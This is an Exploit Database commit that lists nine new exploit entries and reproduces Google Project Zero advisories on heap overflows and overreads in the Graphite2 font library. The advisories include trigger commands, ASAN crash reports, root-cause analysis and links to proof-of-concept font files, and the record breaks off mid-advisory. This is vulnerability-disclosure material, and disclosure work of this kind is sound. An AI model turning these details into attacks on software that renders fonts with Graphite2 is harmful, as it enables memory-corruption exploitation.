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DB: 2016-05-27

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9 new exploits

Real Estate Portal 4.1 - Multiple Vulnerabilities
EduSec 4.2.5 - SQL Injection
Micro Focus Rumba+ 9.4 - Multiple Stack Buffer Overflow Vulnerabilities
HP Data Protector A.09.00  - Arbitrary Command Execution
Graphite2 - GlyphCache::GlyphCache Heap-Based Buffer Overflow
Graphite2 - GlyphCache::Loader Heap-Based Overreads
Graphite2 - TtfUtil::CheckCmapSubtable12 Heap-Based Overread
Graphite2 - TtfUtil::CmapSubtable4NextCodepoint Heap-Based Overread
Graphite2 - NameTable::getName Multiple Heap-Based Out-of-Bounds Reads
This commit is contained in:
Offensive Security 2016-05-27 05:03:14 +00:00
parent e7c0882001
commit 2e7bce9702
10 changed files with 1317 additions and 0 deletions
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9
files.csv
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@ -36038,3 +36038,12 @@ id,file,description,date,author,platform,type,port
39852,platforms/java/remote/39852.rb,"Oracle ATS Arbitrary File Upload",2016-05-25,metasploit,java,remote,8088 39852,platforms/java/remote/39852.rb,"Oracle ATS Arbitrary File Upload",2016-05-25,metasploit,java,remote,8088
39853,platforms/unix/remote/39853.rb,"Ubiquiti airOS Arbitrary File Upload",2016-05-25,metasploit,unix,remote,443 39853,platforms/unix/remote/39853.rb,"Ubiquiti airOS Arbitrary File Upload",2016-05-25,metasploit,unix,remote,443
39854,platforms/java/remote/39854.txt,"PowerFolder Server 10.4.321 - Remote Code Execution",2016-05-25,"Hans-Martin Muench",java,remote,0 39854,platforms/java/remote/39854.txt,"PowerFolder Server 10.4.321 - Remote Code Execution",2016-05-25,"Hans-Martin Muench",java,remote,0
39855,platforms/php/webapps/39855.txt,"Real Estate Portal 4.1 - Multiple Vulnerabilities",2016-05-26,"Bikramaditya Guha",php,webapps,80
39856,platforms/php/webapps/39856.txt,"EduSec 4.2.5 - SQL Injection",2016-05-26,"Bikramaditya Guha",php,webapps,80
39857,platforms/windows/dos/39857.txt,"Micro Focus Rumba+ 9.4 - Multiple Stack Buffer Overflow Vulnerabilities",2016-05-26,LiquidWorm,windows,dos,0
39858,platforms/windows/remote/39858.py,"HP Data Protector A.09.00 - Arbitrary Command Execution",2016-05-26,"Ian Lovering",windows,remote,0
39859,platforms/multiple/dos/39859.txt,"Graphite2 - GlyphCache::GlyphCache Heap-Based Buffer Overflow",2016-05-26,"Google Security Research",multiple,dos,0
39860,platforms/multiple/dos/39860.txt,"Graphite2 - GlyphCache::Loader Heap-Based Overreads",2016-05-26,"Google Security Research",multiple,dos,0
39861,platforms/multiple/dos/39861.txt,"Graphite2 - TtfUtil::CheckCmapSubtable12 Heap-Based Overread",2016-05-26,"Google Security Research",multiple,dos,0
39862,platforms/multiple/dos/39862.txt,"Graphite2 - TtfUtil::CmapSubtable4NextCodepoint Heap-Based Overread",2016-05-26,"Google Security Research",multiple,dos,0
39863,platforms/multiple/dos/39863.txt,"Graphite2 - NameTable::getName Multiple Heap-Based Out-of-Bounds Reads",2016-05-26,"Google Security Research",multiple,dos,0

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132
platforms/multiple/dos/39859.txt Executable file
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@ -0,0 +1,132 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=749
The following crash due to a heap-based buffer overflow can be observed in a slightly modified ASAN build of the standard Graphite2 gr2FontTest utility (git trunk), triggered with the following command:
$ ./gr2fonttest /path/to/file text
My change in gr2FontTest was to hardcode the tested text to include all characters in the 0x1..0xfff range, instead of having to specify them in command line. The patch is as follows:
--- cut ---
--- graphite_original/gr2fonttest/gr2FontTest.cpp 2016-02-27 19:35:16.308071127 +0100
+++ graphite/gr2fonttest/gr2FontTest.cpp 2016-02-26 13:57:13.389186376 +0100
@@ -437,7 +437,17 @@
if (mainArgOffset < 1) argError = true;
else if (mainArgOffset > 1)
{
- if (!useCodes && pText != NULL)
+ const unsigned int kCodeLimit = 0x1000;
+
+ charLength = kCodeLimit - 1;
+
+ pText32 = (unsigned int *)malloc(sizeof(unsigned int) * kCodeLimit);
+ for (unsigned int i = 1; i < kCodeLimit; ++i) {
+ pText32[i - 1] = i;
+ }
+ pText32[kCodeLimit - 1] = 0;
+
+ /*if (!useCodes && pText != NULL)
{
charLength = convertUtf<gr2::utf8>(pText, pText32);
if (!pText32)
@@ -466,7 +476,7 @@
{
pText32[charLength] = 0;
fprintf(log, "\n");
- }
+ }*/
}
return (argError) ? false : true;
}
--- cut ---
The resulting ASAN crash is as follows:
--- cut ---
==27575==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000efd0 at pc 0x00000055daad bp 0x7ffdfb0bfe90 sp 0x7ffdfb0bfe88
WRITE of size 8 at 0x60200000efd0 thread T0
#0 0x55daac in graphite2::GlyphCache::GlyphCache(graphite2::Face const&, unsigned int) graphite/src/GlyphCache.cpp:133:20
#1 0x549503 in graphite2::Face::readGlyphs(unsigned int) graphite/src/Face.cpp:98:29
#2 0x56d3f4 in (anonymous namespace)::load_face(graphite2::Face&, unsigned int) graphite/src/gr_face.cpp:54:14
#3 0x56cf04 in gr_make_face_with_ops graphite/src/gr_face.cpp:89:16
#4 0x56f240 in gr_make_file_face graphite/src/gr_face.cpp:242:23
#5 0x4ec193 in Parameters::testFileFont() const (graphite/gr2fonttest/gr2fonttest+0x4ec193)
#6 0x4ef595 in main (graphite/gr2fonttest/gr2fonttest+0x4ef595)
0x60200000efd1 is located 0 bytes to the right of 1-byte region [0x60200000efd0,0x60200000efd1)
allocated by thread T0 here:
#0 0x4b86dc in calloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:56
#1 0x56ac8a in graphite2::GlyphFace const** graphite2::grzeroalloc<graphite2::GlyphFace const*>(unsigned long) graphite/src/./inc/Main.h:96:28
#2 0x55cb26 in graphite2::GlyphCache::GlyphCache(graphite2::Face const&, unsigned int) graphite/src/GlyphCache.cpp:119:45
#3 0x549503 in graphite2::Face::readGlyphs(unsigned int) graphite/src/Face.cpp:98:29
#4 0x56d3f4 in (anonymous namespace)::load_face(graphite2::Face&, unsigned int) graphite/src/gr_face.cpp:54:14
#5 0x56cf04 in gr_make_face_with_ops graphite/src/gr_face.cpp:89:16
#6 0x56f240 in gr_make_file_face graphite/src/gr_face.cpp:242:23
#7 0x4ec193 in Parameters::testFileFont() const (graphite/gr2fonttest/gr2fonttest+0x4ec193)
#8 0x4ef595 in main (graphite/gr2fonttest/gr2fonttest+0x4ef595)
SUMMARY: AddressSanitizer: heap-buffer-overflow graphite/src/GlyphCache.cpp:133:20 in graphite2::GlyphCache::GlyphCache(graphite2::Face const&, unsigned int)
Shadow bytes around the buggy address:
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9df0: fa fa 00 fa fa fa 01 fa fa fa[01]fa fa fa 00 04
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==27575==ABORTING
--- cut ---
A cursory analysis shows that the direct reason of the crash is the wrong assumption made by GlyphCache::GlyphCache() that the _num_glyphs field is always greater than 0. A buffer is allocated in line 128:
--- cut ---
128 GlyphFace * const glyphs = new GlyphFace [_num_glyphs];
--- cut ---
And regardless of the _num_glyphs value, data is written to its first entry in line 133:
--- cut ---
132 // The 0 glyph is definately required.
133 _glyphs[0] = _glyph_loader->read_glyph(0, glyphs[0], &numsubs);
--- cut ---
While this could just end as an off-by-one error and a fixed ~8 byte overflow, it gets worse. The subsequent loop in lines 139-140 also assumes that _num_glyphs is non-zero, and additionally wrongly (in the context of the misassumption) uses the != operator instead of < in the loop end condition:
--- cut ---
138 const GlyphFace * loaded = _glyphs[0];
139 for (uint16 gid = 1; loaded && gid != _num_glyphs; ++gid)
140 _glyphs[gid] = loaded = _glyph_loader->read_glyph(gid, glyphs[gid], &numsubs);
--- cut ---
This essentially means that the size of the overflown area is fully controlled by an attacker; it must only be a multiple of the native word size: typically 4 or 8 bytes.
The bug was reported at https://bugzilla.mozilla.org/show_bug.cgi?id=1251869. Attached are three font files which trigger the crash.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39859.zip

149
platforms/multiple/dos/39860.txt Executable file
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@ -0,0 +1,149 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=751
The following crashes due to two different heap-based buffer overreads can be observed in an ASAN build of the standard Graphite2 gr2FontTest utility (git trunk), triggered with the following command:
$ ./gr2fonttest /path/to/file -auto
While we have seen the crashes to occur with six unique call stacks, eventually the OOB reads happen at two code locations: graphite2::GlyphCache::Loader::Loader (graphite/src/GlyphCache.cpp:306:38) and graphite2::GlyphCache::Loader::read_glyph (graphite/src/GlyphCache.cpp:398:27). Below you can see the ASAN reports of crashes in both functions:
--- cut ---
=================================================================
==26347==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c00000bf40 at pc 0x00000055445d bp 0x7ffe231e8130 sp 0x7ffe231e8128
READ of size 1 at 0x60c00000bf40 thread T0
#0 0x55445c in unsigned long be::_peek<1>(unsigned char const*) graphite/src/./inc/Endian.h:77:73
#1 0x5543c8 in unsigned long be::_peek<2>(unsigned char const*) graphite/src/./inc/Endian.h:50:43
#2 0x551eab in unsigned short be::read<unsigned short>(unsigned char const*&) graphite/src/./inc/Endian.h:60:23
#3 0x562a66 in graphite2::GlyphCache::Loader::read_glyph(unsigned short, graphite2::GlyphFace&, int*) const graphite/src/GlyphCache.cpp:398:27
#4 0x560481 in graphite2::GlyphCache::GlyphCache(graphite2::Face const&, unsigned int) graphite/src/GlyphCache.cpp:142:37
#5 0x54bb13 in graphite2::Face::readGlyphs(unsigned int) graphite/src/Face.cpp:98:29
#6 0x56fb34 in (anonymous namespace)::load_face(graphite2::Face&, unsigned int) graphite/src/gr_face.cpp:54:14
#7 0x56f644 in gr_make_face_with_ops graphite/src/gr_face.cpp:89:16
#8 0x571980 in gr_make_file_face graphite/src/gr_face.cpp:242:23
#9 0x4ecf13 in Parameters::testFileFont() const (graphite/gr2fonttest/gr2fonttest+0x4ecf13)
#10 0x4f0387 in main (graphite/gr2fonttest/gr2fonttest+0x4f0387)
0x60c00000bf40 is located 0 bytes to the right of 128-byte region [0x60c00000bec0,0x60c00000bf40)
allocated by thread T0 here:
#0 0x4b85b8 in malloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:40
#1 0x55dc0b in graphite2::FileFace::get_table_fn(void const*, unsigned int, unsigned long*) graphite/src/FileFace.cpp:94:11
#2 0x54f8b1 in graphite2::Face::Table::Table(graphite2::Face const&, graphite2::TtfUtil::Tag, unsigned int) graphite/src/Face.cpp:280:36
#3 0x567867 in graphite2::GlyphCache::Loader::Loader(graphite2::Face const&, bool) graphite/src/GlyphCache.cpp:268:24
#4 0x55ef50 in graphite2::GlyphCache::GlyphCache(graphite2::Face const&, unsigned int) graphite/src/GlyphCache.cpp:118:21
#5 0x54bb13 in graphite2::Face::readGlyphs(unsigned int) graphite/src/Face.cpp:98:29
#6 0x56fb34 in (anonymous namespace)::load_face(graphite2::Face&, unsigned int) graphite/src/gr_face.cpp:54:14
#7 0x56f644 in gr_make_face_with_ops graphite/src/gr_face.cpp:89:16
#8 0x571980 in gr_make_file_face graphite/src/gr_face.cpp:242:23
#9 0x4ecf13 in Parameters::testFileFont() const (graphite/gr2fonttest/gr2fonttest+0x4ecf13)
#10 0x4f0387 in main (graphite/gr2fonttest/gr2fonttest+0x4f0387)
SUMMARY: AddressSanitizer: heap-buffer-overflow graphite/src/./inc/Endian.h:77:73 in unsigned long be::_peek<1>(unsigned char const*)
Shadow bytes around the buggy address:
0x0c187fff9790: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff97a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff97b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff97c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff97d0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
=>0x0c187fff97e0: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
0x0c187fff97f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07
0x0c187fff9800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff9810: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff9820: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c187fff9830: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==26347==ABORTING
--- cut ---
--- cut ---
=================================================================
==26561==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000efb7 at pc 0x00000055445d bp 0x7ffc518d4260 sp 0x7ffc518d4258
READ of size 1 at 0x60200000efb7 thread T0
#0 0x55445c in unsigned long be::_peek<1>(unsigned char const*) graphite/src/./inc/Endian.h:77:73
#1 0x5543c8 in unsigned long be::_peek<2>(unsigned char const*) graphite/src/./inc/Endian.h:50:43
#2 0x554358 in unsigned long be::_peek<4>(unsigned char const*) graphite/src/./inc/Endian.h:50:43
#3 0x551d6b in unsigned int be::read<unsigned int>(unsigned char const*&) graphite/src/./inc/Endian.h:60:23
#4 0x5685a5 in graphite2::GlyphCache::Loader::Loader(graphite2::Face const&, bool) graphite/src/GlyphCache.cpp:306:38
#5 0x55ef50 in graphite2::GlyphCache::GlyphCache(graphite2::Face const&, unsigned int) graphite/src/GlyphCache.cpp:118:21
#6 0x54bb13 in graphite2::Face::readGlyphs(unsigned int) graphite/src/Face.cpp:98:29
#7 0x56fb34 in (anonymous namespace)::load_face(graphite2::Face&, unsigned int) graphite/src/gr_face.cpp:54:14
#8 0x56f644 in gr_make_face_with_ops graphite/src/gr_face.cpp:89:16
#9 0x571980 in gr_make_file_face graphite/src/gr_face.cpp:242:23
#10 0x4ecf13 in Parameters::testFileFont() const (graphite/gr2fonttest/gr2fonttest+0x4ecf13)
#11 0x4f0387 in main (graphite/gr2fonttest/gr2fonttest+0x4f0387)
0x60200000efb7 is located 0 bytes to the right of 7-byte region [0x60200000efb0,0x60200000efb7)
allocated by thread T0 here:
#0 0x4b85b8 in malloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:40
#1 0x55dc0b in graphite2::FileFace::get_table_fn(void const*, unsigned int, unsigned long*) graphite/src/FileFace.cpp:94:11
#2 0x54f8b1 in graphite2::Face::Table::Table(graphite2::Face const&, graphite2::TtfUtil::Tag, unsigned int) graphite/src/Face.cpp:280:36
#3 0x567867 in graphite2::GlyphCache::Loader::Loader(graphite2::Face const&, bool) graphite/src/GlyphCache.cpp:268:24
#4 0x55ef50 in graphite2::GlyphCache::GlyphCache(graphite2::Face const&, unsigned int) graphite/src/GlyphCache.cpp:118:21
#5 0x54bb13 in graphite2::Face::readGlyphs(unsigned int) graphite/src/Face.cpp:98:29
#6 0x56fb34 in (anonymous namespace)::load_face(graphite2::Face&, unsigned int) graphite/src/gr_face.cpp:54:14
#7 0x56f644 in gr_make_face_with_ops graphite/src/gr_face.cpp:89:16
#8 0x571980 in gr_make_file_face graphite/src/gr_face.cpp:242:23
#9 0x4ecf13 in Parameters::testFileFont() const (graphite/gr2fonttest/gr2fonttest+0x4ecf13)
#10 0x4f0387 in main (graphite/gr2fonttest/gr2fonttest+0x4f0387)
SUMMARY: AddressSanitizer: heap-buffer-overflow graphite/src/./inc/Endian.h:77:73 in unsigned long be::_peek<1>(unsigned char const*)
Shadow bytes around the buggy address:
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9df0: fa fa fa fa fa fa[07]fa fa fa 06 fa fa fa 00 04
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==26561==ABORTING
--- cut ---
The bug was reported at https://bugzilla.mozilla.org/show_bug.cgi?id=1252406. Attached is an archive with three font files per each unique crash (in terms of stack trace). There are two directories with reproducers for the graphite2::GlyphCache::Loader::read_glyph crash and four directories with reproducers for graphite2::GlyphCache::Loader::Loader.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39860.zip

76
platforms/multiple/dos/39861.txt Executable file
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@ -0,0 +1,76 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=752
The following crash due to a heap-based buffer overread can be observed in an ASAN build of the standard Graphite2 gr2FontTest utility (git trunk), triggered with the following command:
$ ./gr2fonttest /path/to/file -auto
--- cut ---
=================================================================
==27862==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61200000be45 at pc 0x0000005f3354 bp 0x7ffe1a7ac5b0 sp 0x7ffe1a7ac5a8
READ of size 4 at 0x61200000be45 thread T0
#0 0x5f3353 in graphite2::TtfUtil::CheckCmapSubtable12(void const*, void const*) graphite/src/TtfUtil.cpp:1092:40
#1 0x4fa415 in smp_subtable(graphite2::Face::Table const&) graphite/src/CmapCache.cpp:55:9
#2 0x4fa859 in graphite2::CachedCmap::CachedCmap(graphite2::Face const&) graphite/src/CmapCache.cpp:95:29
#3 0x54bf42 in graphite2::Face::readGlyphs(unsigned int) graphite/src/Face.cpp:108:22
#4 0x56fb34 in (anonymous namespace)::load_face(graphite2::Face&, unsigned int) graphite/src/gr_face.cpp:54:14
#5 0x56f644 in gr_make_face_with_ops graphite/src/gr_face.cpp:89:16
#6 0x571980 in gr_make_file_face graphite/src/gr_face.cpp:242:23
#7 0x4ecf13 in Parameters::testFileFont() const (graphite/gr2fonttest/gr2fonttest+0x4ecf13)
#8 0x4f0387 in main (graphite/gr2fonttest/gr2fonttest+0x4f0387)
0x61200000be45 is located 1 bytes to the right of 260-byte region [0x61200000bd40,0x61200000be44)
allocated by thread T0 here:
#0 0x4b85b8 in malloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:40
#1 0x55dc0b in graphite2::FileFace::get_table_fn(void const*, unsigned int, unsigned long*) graphite/src/FileFace.cpp:94:11
#2 0x54f8b1 in graphite2::Face::Table::Table(graphite2::Face const&, graphite2::TtfUtil::Tag, unsigned int) graphite/src/Face.cpp:280:36
#3 0x4fa793 in graphite2::CachedCmap::CachedCmap(graphite2::Face const&) graphite/src/CmapCache.cpp:91:23
#4 0x54bf42 in graphite2::Face::readGlyphs(unsigned int) graphite/src/Face.cpp:108:22
#5 0x56fb34 in (anonymous namespace)::load_face(graphite2::Face&, unsigned int) graphite/src/gr_face.cpp:54:14
#6 0x56f644 in gr_make_face_with_ops graphite/src/gr_face.cpp:89:16
#7 0x571980 in gr_make_file_face graphite/src/gr_face.cpp:242:23
#8 0x4ecf13 in Parameters::testFileFont() const (graphite/gr2fonttest/gr2fonttest+0x4ecf13)
#9 0x4f0387 in main (graphite/gr2fonttest/gr2fonttest+0x4f0387)
SUMMARY: AddressSanitizer: heap-buffer-overflow graphite/src/TtfUtil.cpp:1092:40 in graphite2::TtfUtil::CheckCmapSubtable12(void const*, void const*)
Shadow bytes around the buggy address:
0x0c247fff9770: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff9780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff9790: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff97a0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c247fff97b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c247fff97c0: 00 00 00 00 00 00 00 00[04]fa fa fa fa fa fa fa
0x0c247fff97d0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c247fff97e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff97f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa
0x0c247fff9800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff9810: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==27862==ABORTING
--- cut ---
The bug was reported at https://bugzilla.mozilla.org/show_bug.cgi?id=1252411. Attached are three font files which reproduce the crash.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39861.zip

78
platforms/multiple/dos/39862.txt Executable file
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@ -0,0 +1,78 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=755
The following crash due to a heap-based buffer overread can be observed in an ASAN build of the standard Graphite2 gr2FontTest utility (git trunk), triggered with the following command:
$ ./gr2fonttest /path/to/file -auto
--- cut ---
==19167==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60e00000dff1 at pc 0x000000553c7d bp 0x7ffc6c2c7100 sp 0x7ffc6c2c70f8
READ of size 1 at 0x60e00000dff1 thread T0
#0 0x553c7c in unsigned long be::_peek<1>(unsigned char const*) graphite/src/./inc/Endian.h:77:73
#1 0x553be8 in unsigned long be::_peek<2>(unsigned char const*) graphite/src/./inc/Endian.h:50:43
#2 0x56d7e3 in unsigned short be::peek<unsigned short>(void const*) graphite/src/./inc/Endian.h:55:18
#3 0x5f2bad in graphite2::TtfUtil::CmapSubtable4NextCodepoint(void const*, unsigned int, int*) graphite/src/TtfUtil.cpp:1042:16
#4 0x4fce35 in bool cache_subtable<&graphite2::TtfUtil::CmapSubtable4NextCodepoint, &graphite2::TtfUtil::CmapSubtable4Lookup>(unsigned short**, void const*, unsigned int) graphite/src/CmapCache.cpp:65:33
#5 0x4fb097 in graphite2::CachedCmap::CachedCmap(graphite2::Face const&) graphite/src/CmapCache.cpp:107:14
#6 0x54b6d2 in graphite2::Face::readGlyphs(unsigned int) graphite/src/Face.cpp:108:22
#7 0x56f5d4 in (anonymous namespace)::load_face(graphite2::Face&, unsigned int) graphite/src/gr_face.cpp:54:14
#8 0x56f0e4 in gr_make_face_with_ops graphite/src/gr_face.cpp:89:16
#9 0x571420 in gr_make_file_face graphite/src/gr_face.cpp:242:23
#10 0x4ed0b3 in Parameters::testFileFont() const (graphite/gr2fonttest/gr2fonttest+0x4ed0b3)
#11 0x4f06c9 in main (graphite/gr2fonttest/gr2fonttest+0x4f06c9)
0x60e00000dff1 is located 0 bytes to the right of 145-byte region [0x60e00000df60,0x60e00000dff1)
allocated by thread T0 here:
#0 0x4b85b8 in malloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:40
#1 0x55d42b in graphite2::FileFace::get_table_fn(void const*, unsigned int, unsigned long*) graphite/src/FileFace.cpp:94:11
#2 0x54f0d1 in graphite2::Face::Table::Table(graphite2::Face const&, graphite2::TtfUtil::Tag, unsigned int) graphite/src/Face.cpp:281:36
#3 0x4faad3 in graphite2::CachedCmap::CachedCmap(graphite2::Face const&) graphite/src/CmapCache.cpp:91:23
#4 0x54b6d2 in graphite2::Face::readGlyphs(unsigned int) graphite/src/Face.cpp:108:22
#5 0x56f5d4 in (anonymous namespace)::load_face(graphite2::Face&, unsigned int) graphite/src/gr_face.cpp:54:14
#6 0x56f0e4 in gr_make_face_with_ops graphite/src/gr_face.cpp:89:16
#7 0x571420 in gr_make_file_face graphite/src/gr_face.cpp:242:23
#8 0x4ed0b3 in Parameters::testFileFont() const (graphite/gr2fonttest/gr2fonttest+0x4ed0b3)
#9 0x4f06c9 in main (graphite/gr2fonttest/gr2fonttest+0x4f06c9)
SUMMARY: AddressSanitizer: heap-buffer-overflow graphite/src/./inc/Endian.h:77:73 in unsigned long be::_peek<1>(unsigned char const*)
Shadow bytes around the buggy address:
0x0c1c7fff9ba0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff9bb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff9bc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff9bd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff9be0: fa fa fa fa fa fa fa fa fa fa fa fa 00 00 00 00
=>0x0c1c7fff9bf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[01]fa
0x0c1c7fff9c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff9c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff9c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff9c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff9c40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==19167==ABORTING
--- cut ---
The bug was reported at https://bugzilla.mozilla.org/show_bug.cgi?id=1254487. Attached are three font files which reproduce the crash.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39862.zip

138
platforms/multiple/dos/39863.txt Executable file
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@ -0,0 +1,138 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=756
We have encountered several different crashes in the graphite2::NameTable::getName method, observed in an ASAN build of the standard Graphite2 gr2FontTest utility (git trunk), triggered with the following command:
$ ./gr2fonttest -demand -cache /path/to/file
Below are three unique ASAN reports that we have triggered.
--- cut ---
==1191==ERROR: AddressSanitizer: SEGV on unknown address 0x61b000026b15 (pc 0x000000553c81 bp 0x7ffc0e24a820 sp 0x7ffc0e24a800 T0)
#0 0x553c80 in unsigned long be::_peek<1>(unsigned char const*) graphite/src/./inc/Endian.h:77:73
#1 0x553bd3 in unsigned long be::_peek<2>(unsigned char const*) graphite/src/./inc/Endian.h:50:16
#2 0x5516cb in unsigned short be::read<unsigned short>(unsigned char const*&) graphite/src/./inc/Endian.h:60:23
#3 0x59192b in graphite2::NameTable::getName(unsigned short&, unsigned short, gr_encform, unsigned int&) graphite/src/NameTable.cpp:157:24
#4 0x572e5c in gr_fref_label graphite/src/gr_features.cpp:97:12
#5 0x4eaec8 in Parameters::printFeatures(gr_face const*) const (graphite/gr2fonttest/gr2fonttest+0x4eaec8)
#6 0x4ed32b in Parameters::testFileFont() const (graphite/gr2fonttest/gr2fonttest+0x4ed32b)
